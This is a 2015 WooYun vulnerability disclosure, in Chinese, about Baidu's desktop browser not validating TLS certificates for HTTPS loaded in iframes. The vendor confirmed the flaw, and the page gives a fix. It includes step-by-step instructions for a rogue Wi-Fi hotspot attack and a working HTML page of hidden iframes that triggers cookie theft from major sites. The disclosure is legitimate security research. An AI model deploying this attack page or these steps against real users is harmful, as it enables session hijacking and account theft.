当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-091309

漏洞标题：桌面版百度浏览器可被中间人攻击

相关厂商：百度

漏洞作者： MITM

提交时间：2015-01-12 10:44

修复时间：2015-04-13 16:58

公开时间：2015-04-13 16:58

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-12： 细节已通知厂商并且等待厂商处理中
2015-01-12： 厂商已经确认，细节仅向厂商公开
2015-01-15： 细节向第三方安全合作伙伴开放
2015-03-08： 细节向核心白帽子及相关领域专家公开
2015-03-18： 细节向普通白帽子公开
2015-03-28： 细节向实习白帽子公开
2015-04-13： 细节向公众公开

简要描述：

前几个月我测试各浏览器的中间人漏洞时，因百度浏览器能够正确拦截证书错误的网站，我错以为百度浏览器没这方面问题。今天发现，换个方法，中间人攻击仍能成功。

详细说明：

一句话来说：虽然百度浏览器会对直接访问的网站校验TLS证书，但是对于iframe发起的HTTPS链接，不校验TLS证书是否有效。
直接访问：

0 - version.png


使用iframe（左百度，右IE11），测试地址：http://nextprime.drivehq.com/iframe.html

2 - baidu_wiki.png


于是中间人可利用iframe来窃取HTTPS网站的cookie。方法如下：
1、在公共区域建立免费Wi-Fi热点，诱使人们连接。
2、连接后跳转到“认证页”。用User-Agent判断是否为百度浏览器，如果是，用以下页面迫使用户对你感兴趣的HTTPS网站发起链接，同时用自己自签名证书进行中间人攻击，拿到cookie。百度浏览器不会有任何警告。

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>MITM</title>
    <style>
        iframe {
            opacity: 0;
        }
    </style>
</head>
<body>
    <iframe src="https://en.wikipedia.org/" height="1" width="1" sandbox=""></iframe>
    <iframe src="https://www.bing.com/" height="1" width="1" sandbox=""></iframe>
    <iframe src="https://www.baidu.com/" height="1" width="1" sandbox=""></iframe>
    <iframe src="https://onedrive.live.com/" height="1" width="1" sandbox=""></iframe>
</body>
</html>

漏洞证明：

打开Fiddler，打开解密HTTPS（不装Fiddler根证书），然后使用百度浏览器打开在线测试地址：http://nextprime.drivehq.com/bdmitm.html。之后，就能在Fiddler中看到HTTPS网站的cookie。

1 - cookie.png

修复方案：

完善TLS证书校验。

版权声明：转载请注明来源 MITM@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-01-12 15:23

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无